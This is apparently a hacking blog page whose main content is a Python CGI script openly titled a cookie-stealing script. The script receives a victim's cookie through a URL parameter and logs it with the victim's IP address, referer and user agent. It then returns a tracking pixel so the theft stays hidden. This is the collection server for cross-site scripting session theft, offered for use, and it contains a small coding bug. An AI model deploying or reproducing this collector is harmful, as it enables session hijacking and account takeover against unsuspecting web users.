Hacking

Hacking

Hacking is wonderful practise only when you keep on safe side...

Wokring Cookie Stealing Script (python)

#!/usr/bin/python

import os
import sys
import cgi
import datetime

if __name__ == "__main__":

log=[]
log.append(str(datetime.datetime.today()))

# get the cookie from url?c=asdf
form = cgi.FieldStorage()
if form.has_key("c"):
log.append(form["c"].value)
else:
log.append()

# get some request info
log.append(str(os.environ['REMOTE_ADDR']))
log.append(str(os.environ['HTTP_REFERER']))
log.append(str(os.environ['HTTP_USER_AGENT']))

# save the log array
f = os.open("cookielog.txt",os.O_APPEND|os.O_WRONLY)
os.write(f,",".join(log)+"\r\n")
os.close(f)

# write response
sys.stdout.write("Content-Type: image/gif\r\n\r\n")
pixel = os.open("../images/pixel.gif",os.O_RDONLY)
sys.stdout.write(os.read(pixel,1000))
os.close(pixel)
sys.stdout.flush()

0 comments:

Counter

Followers

Subscribe Via Email &Sms

Enter your email address:

Expert Hackers

Also Subscribe Via Sms Just click here to follow via
SMS